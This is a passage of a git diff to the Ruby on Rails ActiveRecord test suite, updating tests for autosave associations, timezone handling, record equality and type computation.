-    assert_equal 3, company.clients_of_firm(true).size
+    assert_equal 4, company.clients_of_firm(true).size
   end
 
   def test_replace_on_new_object
@@ -563,17 +618,32 @@ class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
     firm.save!
     assert !account.persisted?
   end
+
+  def test_autosave_new_record_with_after_create_callback
+    post = PostWithAfterCreateCallback.new(title: 'Captain Murphy', body: 'is back')
+    post.comments.build(body: 'foo')
+    post.save!
+
+    assert_not_nil post.author_id
+  end
 end
 
 class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
-  def setup
-    super
+  setup do
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
   end
 
+  teardown do
+    # We are running without transactional fixtures and need to cleanup.
+    Bird.delete_all
+    Parrot.delete_all
+    @ship.delete
+    @pirate.delete
+  end
+
   # reload
   def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
     @pirate.mark_for_destruction
@@ -626,10 +696,23 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
       end
     end
 
+    @ship.pirate.catchphrase = "Changed Catchphrase"
+
     assert_raise(RuntimeError) { assert !@pirate.save }
     assert_not_nil @pirate.reload.ship
   end
 
+  def test_should_save_changed_has_one_changed_object_if_child_is_saved
+    @pirate.ship.name = "NewName"
+    assert @pirate.save
+    assert_equal "NewName", @pirate.ship.reload.name
+  end
+
+  def test_should_not_save_changed_has_one_unchanged_object_if_child_is_saved
+    @pirate.ship.expects(:save).never
+    assert @pirate.save
+  end
+
   # belongs_to
   def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
     assert !@ship.pirate.marked_for_destruction?
@@ -691,13 +774,13 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
   def test_should_destroy_has_many_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
     2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
 
-    assert !@pirate.birds.any? { |child| child.marked_for_destruction? }
+    assert !@pirate.birds.any?(&:marked_for_destruction?)
 
-    @pirate.birds.each { |child| child.mark_for_destruction }
+    @pirate.birds.each(&:mark_for_destruction)
     klass = @pirate.birds.first.class
     ids = @pirate.birds.map(&:id)
 
-    assert @pirate.birds.all? { |child| child.marked_for_destruction? }
+    assert @pirate.birds.all?(&:marked_for_destruction?)
     ids.each { |id| assert klass.find_by_id(id) }
 
     @pirate.save
@@ -731,14 +814,14 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
     @pirate.birds.each { |bird| bird.name = '' }
     assert !@pirate.valid?
 
-    @pirate.birds.each { |bird| bird.destroy }
+    @pirate.birds.each(&:destroy)
     assert @pirate.valid?
   end
 
   def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_has_many
     @pirate.birds.create!(:name => "birds_1")
 
-    @pirate.birds.each { |bird| bird.mark_for_destruction }
+    @pirate.birds.each(&:mark_for_destruction)
     assert @pirate.save
 
     @pirate.birds.each { |bird| bird.expects(:destroy).never }
@@ -805,7 +888,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
       association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
 
       @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
-      @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+      @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
       child_id = @pirate.send(association_name_with_callbacks).first.id
 
       @pirate.ship_log.clear
@@ -823,8 +906,8 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
   def test_should_destroy_habtm_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
     2.times { |i| @pirate.parrots.create!(:name => "parrots_#{i}") }
 
-    assert !@pirate.parrots.any? { |parrot| parrot.marked_for_destruction? }
-    @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+    assert !@pirate.parrots.any?(&:marked_for_destruction?)
+    @pirate.parrots.each(&:mark_for_destruction)
 
     assert_no_difference "Parrot.count" do
       @pirate.save
@@ -857,14 +940,14 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
     @pirate.parrots.each { |parrot| parrot.name = '' }
     assert !@pirate.valid?
 
-    @pirate.parrots.each { |parrot| parrot.destroy }
+    @pirate.parrots.each(&:destroy)
     assert @pirate.valid?
   end
 
   def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_habtm
     @pirate.parrots.create!(:name => "parrots_1")
 
-    @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+    @pirate.parrots.each(&:mark_for_destruction)
     assert @pirate.save
 
     Pirate.transaction do
@@ -909,7 +992,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
       association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
 
       @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
-      @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+      @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
       child_id = @pirate.send(association_name_with_callbacks).first.id
 
       @pirate.ship_log.clear
@@ -947,6 +1030,16 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
     assert_equal 'The Vile Insanity', @pirate.reload.ship.name
   end
 
+  def test_changed_for_autosave_should_handle_cycles
+    @ship.pirate = @pirate
+    assert_queries(0) { @ship.save! }
+
+    @parrot = @pirate.parrots.create(name: "some_name")
+    @parrot.name="changed_name"
+    assert_queries(1) { @ship.save! }
+    assert_queries(0) { @ship.save! }
+  end
+
   def test_should_automatically_save_bang_the_associated_model
     @pirate.ship.name = 'The Vile Insanity'
     @pirate.save!
@@ -968,11 +1061,16 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
   end
 
   def test_should_not_ignore_different_error_messages_on_the_same_attribute
+    old_validators = Ship._validators.deep_dup
+    old_callbacks = Ship._validate_callbacks.deep_dup
     Ship.validates_format_of :name, :with => /\w/
     @pirate.ship.name   = ""
     @pirate.catchphrase = nil
     assert @pirate.invalid?
     assert_equal ["can't be blank", "is invalid"], @pirate.errors[:"ship.name"]
+  ensure
+    Ship._validators = old_validators if old_validators
+    Ship._validate_callbacks = old_callbacks if old_callbacks
   end
 
   def test_should_still_allow_to_bypass_validations_on_the_associated_model
@@ -1046,6 +1144,27 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
   end
 end
 
+class TestAutosaveAssociationOnAHasOneThroughAssociation < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false unless supports_savepoints?
+
+  def setup
+    super
+    organization = Organization.create
+    @member = Member.create
+    MemberDetail.create(organization: organization, member: @member)
+  end
+
+  def test_should_not_has_one_through_model
+    class << @member.organization
+      def save(*args)
+        super
+        raise 'Oh noes!'
+      end
+    end
+    assert_nothing_raised { @member.save }
+  end
+end
+
 class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
   self.use_transactional_fixtures = false unless supports_savepoints?
 
@@ -1176,15 +1295,15 @@ module AutosaveAssociationOnACollectionAssociationTests
   end
 
   def test_should_default_invalid_error_from_i18n
-    I18n.backend.store_translations(:en, :activerecord => {:errors => { :models =>
-      { @association_name.to_s.singularize.to_sym => { :blank => "cannot be blank" } }
+    I18n.backend.store_translations(:en, activerecord: {errors: { models:
+      { @associated_model_name.to_s.to_sym => { blank: "cannot be blank" } }
     }})
 
-    @pirate.send(@association_name).build(:name => '')
+    @pirate.send(@association_name).build(name: '')
 
     assert !@pirate.valid?
     assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
-    assert_equal ["#{@association_name.to_s.titleize} name cannot be blank"], @pirate.errors.full_messages
+    assert_equal ["#{@association_name.to_s.humanize} name cannot be blank"], @pirate.errors.full_messages
     assert @pirate.errors[@association_name].empty?
   ensure
     I18n.backend = I18n::Backend::Simple.new
@@ -1300,6 +1419,7 @@ class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
   def setup
     super
     @association_name = :birds
+    @associated_model_name = :bird
 
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @child_1 = @pirate.birds.create(:name => 'Posideons Killer')
@@ -1314,12 +1434,30 @@ class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::T
 
   def setup
     super
+    @association_name = :autosaved_parrots
+    @associated_model_name = :parrot
+    @habtm = true
+
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+    @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false unless supports_savepoints?
+
+  def setup
+    super
     @association_name = :parrots
+    @associated_model_name = :parrot
     @habtm = true
 
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
-    @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+    @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
   end
 
   include AutosaveAssociationOnACollectionAssociationTests
@@ -1440,10 +1578,6 @@ class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCas
   test "should generate validation methods for HABTM associations with :validate => true" do
     assert_respond_to @pirate, :validate_associated_records_for_parrots
   end
-
-  test "should not generate validation methods for HABTM associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
-  end
 end
 
 class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index dc2de7b523..ef1173a2ba 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 
 require "cases/helper"
 require 'active_support/concurrency/latch'
@@ -10,6 +9,7 @@ require 'models/category'
 require 'models/company'
 require 'models/customer'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/default'
 require 'models/auto_id'
@@ -78,22 +78,6 @@ end
 class BasicsTest < ActiveRecord::TestCase
   fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
 
-  def setup
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-  end
-
-  def test_generated_methods_modules
-    modules = Computer.ancestors
-    assert modules.include?(Computer::GeneratedFeatureMethods)
-    assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
-    assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
-           "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
-    assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
-    assert(modules.index(Computer.generated_attribute_methods) < modules.index(ActiveRecord::Base.ancestors[1]))
-  end
-
   def test_column_names_are_escaped
     conn      = ActiveRecord::Base.connection
     classname = conn.class.name[/[^:]*$/]
@@ -103,6 +87,7 @@ class BasicsTest < ActiveRecord::TestCase
       'Mysql2Adapter'     => '`',
       'PostgreSQLAdapter' => '"',
       'OracleAdapter'     => '"',
+      'FbAdapter'         => '"'
     }.fetch(classname) {
       raise "need a bad char for #{classname}"
     }
@@ -118,15 +103,15 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_columns_should_obey_set_primary_key
-    pk = Subscriber.columns.find { |x| x.name == 'nick' }
-    assert pk.primary, 'nick should be primary key'
+    pk = Subscriber.columns_hash[Subscriber.primary_key]
+    assert_equal 'nick', pk.name, 'nick should be primary key'
   end
 
   def test_primary_key_with_no_id
     assert_nil Edge.primary_key
   end
 
-  unless current_adapter?(:PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
+  unless current_adapter?(:PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter, :FbAdapter)
     def test_limit_with_comma
       assert Topic.limit("1,2").to_a
     end
@@ -137,6 +122,10 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal 1, Topic.limit(1).to_a.length
   end
 
+  def test_limit_should_take_value_from_latest_limit
+    assert_equal 1, Topic.limit(2).limit(1).to_a.length
+  end
+
   def test_invalid_limit
     assert_raises(ArgumentError) do
       Topic.limit("asdfadf").to_a
@@ -172,19 +161,11 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_preserving_date_objects
-    if current_adapter?(:SybaseAdapter)
-      # Sybase ctlib does not (yet?) support the date type; use datetime instead.
-      assert_kind_of(
-        Time, Topic.find(1).last_read,
-        "The last_read attribute should be of the Time class"
-      )
-    else
-      # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
-      assert_kind_of(
-        Date, Topic.find(1).last_read,
-        "The last_read attribute should be of the Date class"
-      )
-    end
+    # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+    assert_kind_of(
+      Date, Topic.find(1).last_read,
+      "The last_read attribute should be of the Date class"
+    )
   end
 
   def test_previously_changed
@@ -224,7 +205,7 @@ class BasicsTest < ActiveRecord::TestCase
     )
 
     # For adapters which support microsecond resolution.
-    if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+    if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) || mysql_56?
       assert_equal 11, Topic.find(1).written_on.sec
       assert_equal 223300, Topic.find(1).written_on.usec
       assert_equal 9900, Topic.find(2).written_on.usec
@@ -234,7 +215,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         time = Time.local(2000)
         topic = Topic.create('written_on' => time)
         saved_time = Topic.find(topic.id).reload.written_on
@@ -247,7 +228,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         Time.use_zone 'Central Time (US & Canada)' do
           time = Time.zone.local(2000)
           topic = Topic.create('written_on' => time)
@@ -262,18 +243,20 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local
     with_env_tz 'America/New_York' do
-      time = Time.utc(2000)
-      topic = Topic.create('written_on' => time)
-      saved_time = Topic.find(topic.id).reload.written_on
-      assert_equal time, saved_time
-      assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
-      assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+      with_timezone_config default: :local do
+        time = Time.utc(2000)
+        topic = Topic.create('written_on' => time)
+        saved_time = Topic.find(topic.id).reload.written_on
+        assert_equal time, saved_time
+        assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
+        assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+      end
     end
   end
 
   def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :local do
+      with_timezone_config default: :local do
         Time.use_zone 'Central Time (US & Canada)' do
           time = Time.zone.local(2000)
           topic = Topic.create('written_on' => time)
@@ -331,7 +314,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_load
     topics = Topic.all.merge!(:order => 'id').to_a
-    assert_equal(4, topics.size)
+    assert_equal(5, topics.size)
     assert_equal(topics(:first).title, topics.first.title)
   end
 
@@ -490,28 +473,28 @@ class BasicsTest < ActiveRecord::TestCase
     end
   end
 
-  # Oracle, and Sybase do not have a TIME datatype.
-  unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+  # Oracle does not have a TIME datatype.
+  unless current_adapter?(:OracleAdapter)
     def test_utc_as_time_zone
-      Topic.default_timezone = :utc
-      attributes = { "bonus_time" => "5:42:00AM" }
-      topic = Topic.find(1)
-      topic.attributes = attributes
-      assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
-      Topic.default_timezone = :local
+      with_timezone_config default: :utc do
+        attributes = { "bonus_time" => "5:42:00AM" }
+        topic = Topic.find(1)
+        topic.attributes = attributes
+        assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+      end
     end
 
     def test_utc_as_time_zone_and_new
-      Topic.default_timezone = :utc
-      attributes = { "bonus_time(1i)"=>"2000",
-                     "bonus_time(2i)"=>"1",
-                     "bonus_time(3i)"=>"1",
-                     "bonus_time(4i)"=>"10",
-                     "bonus_time(5i)"=>"35",
-                     "bonus_time(6i)"=>"50" }
-      topic = Topic.new(attributes)
-      assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
-      Topic.default_timezone = :local
+      with_timezone_config default: :utc do
+        attributes = { "bonus_time(1i)"=>"2000",
+          "bonus_time(2i)"=>"1",
+          "bonus_time(3i)"=>"1",
+          "bonus_time(4i)"=>"10",
+          "bonus_time(5i)"=>"35",
+          "bonus_time(6i)"=>"50" }
+        topic = Topic.new(attributes)
+        assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+      end
     end
   end
 
@@ -525,12 +508,7 @@ class BasicsTest < ActiveRecord::TestCase
     topic = Topic.find(topic.id)
     assert_nil topic.last_read
 
-    # Sybase adapter does not allow nulls in boolean columns
-    if current_adapter?(:SybaseAdapter)
-      assert topic.approved == false
-    else
-      assert_nil topic.approved
-    end
+    assert_nil topic.approved
   end
 
   def test_equality
@@ -541,8 +519,17 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal Topic.find('1-meowmeow'), Topic.find(1)
   end
 
+  def test_find_by_slug_with_array
+    assert_equal Topic.find(['1-meowmeow', '2-hello']), Topic.find([1, 2])
+  end
+
+  def test_find_by_slug_with_range
+    assert_equal Topic.where(id: '1-meowmeow'..'2-hello'), Topic.where(id: 1..2)
+  end
+
   def test_equality_of_new_records
     assert_not_equal Topic.new, Topic.new
+    assert_equal false, Topic.new == Topic.new
   end
 
   def test_equality_of_destroyed_records
@@ -554,23 +541,94 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal topic_2, topic_1
   end
 
+  def test_equality_with_blank_ids
+    one = Subscriber.new(:id => '')
+    two = Subscriber.new(:id => '')
+    assert_equal one, two
+  end
+
+  def test_equality_of_relation_and_collection_proxy
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert car.bulbs == Bulb.where(car_id: car.id), 'CollectionProxy should be comparable with Relation'
+    assert Bulb.where(car_id: car.id) == car.bulbs, 'Relation should be comparable with CollectionProxy'
+  end
+
+  def test_equality_of_relation_and_array
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert Bulb.where(car_id: car.id) == car.bulbs.to_a, 'Relation should be comparable with Array'
+  end
+
+  def test_equality_of_relation_and_association_relation
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert_equal Bulb.where(car_id: car.id), car.bulbs.includes(:car), 'Relation should be comparable with AssociationRelation'
+    assert_equal car.bulbs.includes(:car), Bulb.where(car_id: car.id), 'AssociationRelation should be comparable with Relation'
+  end
+
+  def test_equality_of_collection_proxy_and_association_relation
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert_equal car.bulbs, car.bulbs.includes(:car), 'CollectionProxy should be comparable with AssociationRelation'
+    assert_equal car.bulbs.includes(:car), car.bulbs, 'AssociationRelation should be comparable with CollectionProxy'
+  end
+
   def test_hashing
     assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
   end
 
-  def test_comparison
+  def test_successful_comparison_of_like_class_records
     topic_1 = Topic.create!
     topic_2 = Topic.create!
 
     assert_equal [topic_2, topic_1].sort, [topic_1, topic_2]
   end
 
+  def test_failed_comparison_of_unlike_class_records
+    assert_raises ArgumentError do
+      [ topics(:first), posts(:welcome) ].sort
+    end
+  end
+
+  def test_create_without_prepared_statement
+    topic = Topic.connection.unprepared_statement do
+      Topic.create(:title => 'foo')
+    end
+
+    assert_equal topic, Topic.find(topic.id)
+  end
+
+  def test_destroy_without_prepared_statement
+    topic = Topic.create(title: 'foo')
+    Topic.connection.unprepared_statement do
+      Topic.find(topic.id).destroy
+    end
+
+    assert_equal nil, Topic.find_by_id(topic.id)
+  end
+
   def test_comparison_with_different_objects
     topic = Topic.create
     category = Category.create(:name => "comparison")
     assert_nil topic <=> category
   end
 
+  def test_comparison_with_different_objects_in_array
+    topic = Topic.create
+    assert_raises(ArgumentError) do
+      [1, topic].sort
+    end
+  end
+
   def test_readonly_attributes
     assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
 
@@ -585,10 +643,25 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_unicode_column_name
+    Weird.reset_column_information
     weird = Weird.create(:なまえ => 'たこ焼き仮面')
     assert_equal 'たこ焼き仮面', weird.なまえ
   end
 
+  unless current_adapter?(:PostgreSQLAdapter)
+    def test_respect_internal_encoding
+      old_default_internal = Encoding.default_internal
+      silence_warnings { Encoding.default_internal = "EUC-JP" }
+
+      Weird.reset_column_information
+
+      assert_equal ["EUC-JP"], Weird.columns.map {|c| c.name.encoding.name }.uniq
+    ensure
+      silence_warnings { Encoding.default_internal = old_default_internal }
+      Weird.reset_column_information
+    end
+  end
+
   def test_non_valid_identifier_column_name
     weird = Weird.create('a$b' => 'value')
     weird.reload
@@ -608,20 +681,22 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_attributes_on_dummy_time
-    # Oracle, and Sybase do not have a TIME datatype.
-    return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+    # Oracle does not have a TIME datatype.
+    return true if current_adapter?(:OracleAdapter)
 
-    attributes = {
-      "bonus_time" => "5:42:00AM"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+    with_timezone_config default: :local do
+      attributes = {
+        "bonus_time" => "5:42:00AM"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+    end
   end
 
   def test_attributes_on_dummy_time_with_invalid_time
-    # Oracle, and Sybase do not have a TIME datatype.
-    return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+    # Oracle does not have a TIME datatype.
+    return true if current_adapter?(:OracleAdapter)
 
     attributes = {
       "bonus_time" => "not a time"
@@ -708,8 +783,14 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal("c", duped_topic.title)
   end
 
+  DeveloperSalary = Struct.new(:amount)
   def test_dup_with_aggregate_of_same_name_as_attribute
-    dev = DeveloperWithAggregate.find(1)
+    developer_with_aggregate = Class.new(ActiveRecord::Base) do
+      self.table_name = 'developers'
+      composed_of :salary, :class_name => 'BasicsTest::DeveloperSalary', :mapping => [%w(salary amount)]
+    end
+
+    dev = developer_with_aggregate.find(1)
     assert_kind_of DeveloperSalary, dev.salary
 
     dup = nil
@@ -804,111 +885,26 @@ class BasicsTest < ActiveRecord::TestCase
   # TODO: extend defaults tests to other databases!
   if current_adapter?(:PostgreSQLAdapter)
     def test_default
-      tz = Default.default_timezone
-      Default.default_timezone = :local
-      default = Default.new
-      Default.default_timezone = tz
-
-      # fixed dates / times
-      assert_equal Date.new(2004, 1, 1), default.fixed_date
-      assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
-
-      # char types
-      assert_equal 'Y', default.char1
-      assert_equal 'a varchar field', default.char2
-      assert_equal 'a text field', default.char3
-    end
+      with_timezone_config default: :local do
+        default = Default.new
+
+        # fixed dates / times
+        assert_equal Date.new(2004, 1, 1), default.fixed_date
+        assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
 
-    class Geometric < ActiveRecord::Base; end
-    def test_geometric_content
-
-      # accepted format notes:
-      # ()'s aren't required
-      # values can be a mix of float or integer
-
-      g = Geometric.new(
-        :a_point        => '(5.0, 6.1)',
-        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
-        :a_line_segment => '(2.0, 3), (5.5, 7.0)',
-        :a_box          => '2.0, 3, 5.5, 7.0',
-        :a_path         => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]',  # [ ] is an open path
-        :a_polygon      => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
-        :a_circle       => '<(5.3, 10.4), 2>'
-      )
-
-      assert g.save
-
-      # Reload and check that we have all the geometric attributes.
-      h = Geometric.find(g.id)
-
-      assert_equal [5.0, 6.1], h.a_point
-      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
-      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
-      assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
-      assert_equal '<(5.3,10.4),2>', h.a_circle
-
-      # use a geometric function to test for an open path
-      objs = Geometric.find_by_sql ["select isopen(a_path) from geometrics where id = ?", g.id]
-
-      assert_equal true, objs[0].isopen
-
-      # test alternate formats when defining the geometric types
-
-      g = Geometric.new(
-        :a_point        => '5.0, 6.1',
-        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
-        :a_line_segment => '((2.0, 3), (5.5, 7.0))',
-        :a_box          => '(2.0, 3), (5.5, 7.0)',
-        :a_path         => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',  # ( ) is a closed path
-        :a_polygon      => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
-        :a_circle       => '((5.3, 10.4), 2)'
-      )
-
-      assert g.save
-
-      # Reload and check that we have all the geometric attributes.
-      h = Geometric.find(g.id)
-
-      assert_equal [5.0, 6.1], h.a_point
-      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
-      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
-      assert_equal '<(5.3,10.4),2>', h.a_circle
-
-      # use a geometric function to test for an closed path
-      objs = Geometric.find_by_sql ["select isclosed(a_path) from geometrics where id = ?", g.id]
-
-      assert_equal true, objs[0].isclosed
-
-      # test native ruby formats when defining the geometric types
-      g = Geometric.new(
-        :a_point        => [5.0, 6.1],
-        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
-        :a_line_segment => '((2.0, 3), (5.5, 7.0))',
-        :a_box          => '(2.0, 3), (5.5, 7.0)',
-        :a_path         => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',  # ( ) is a closed path
-        :a_polygon      => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
-        :a_circle       => '((5.3, 10.4), 2)'
-      )
-
-      assert g.save
-
-      # Reload and check that we have all the geometric attributes.
-      h = Geometric.find(g.id)
-
-      assert_equal [5.0, 6.1], h.a_point
-      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
-      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
-      assert_equal '<(5.3,10.4),2>', h.a_circle
+        # char types
+        assert_equal 'Y', default.char1
+        assert_equal 'a varchar field', default.char2
+        assert_equal 'a text field', default.char3
+      end
     end
   end
 
   class NumericData < ActiveRecord::Base
     self.table_name = 'numeric_data'
+
+    attribute :my_house_population, :integer
+    attribute :atoms_in_universe, :integer
   end
 
   def test_big_decimal_conditions
@@ -1088,7 +1084,7 @@ class BasicsTest < ActiveRecord::TestCase
     k = Class.new(ak)
     k.table_name = "projects"
     orig_name = k.sequence_name
-    return skip "sequences not supported by db" unless orig_name
+    skip "sequences not supported by db" unless orig_name
     assert_equal k.reset_sequence_name, orig_name
   end
 
@@ -1260,20 +1256,40 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_compute_type_nonexistent_constant
-    assert_raises NameError do
+    e = assert_raises NameError do
       ActiveRecord::Base.send :compute_type, 'NonexistentModel'
     end
+    assert_equal 'uninitialized constant ActiveRecord::Base::NonexistentModel', e.message
+    assert_equal 'ActiveRecord::Base::NonexistentModel', e.name
   end
 
   def test_compute_type_no_method_error
-    ActiveSupport::Dependencies.stubs(:constantize).raises(NoMethodError)
+    ActiveSupport::Dependencies.stubs(:safe_constantize).raises(NoMethodError)
     assert_raises NoMethodError do
       ActiveRecord::Base.send :compute_type, 'InvalidModel'
     end
   end
 
+  def test_compute_type_on_undefined_method
+    error = nil
+    begin
+      Class.new(Author) do
+        alias_method :foo, :bar
+      end
+    rescue => e
+      error = e
+    end
+
+    ActiveSupport::Dependencies.stubs(:safe_constantize).raises(e)
+
+    exception = assert_raises NameError do
+      ActiveRecord::Base.send :compute_type, 'InvalidModel'
+    end
+    assert_equal error.message, exception.message
+  end
+
   def test_compute_type_argument_error
-    ActiveSupport::Dependencies.stubs(:constantize).raises(ArgumentError)
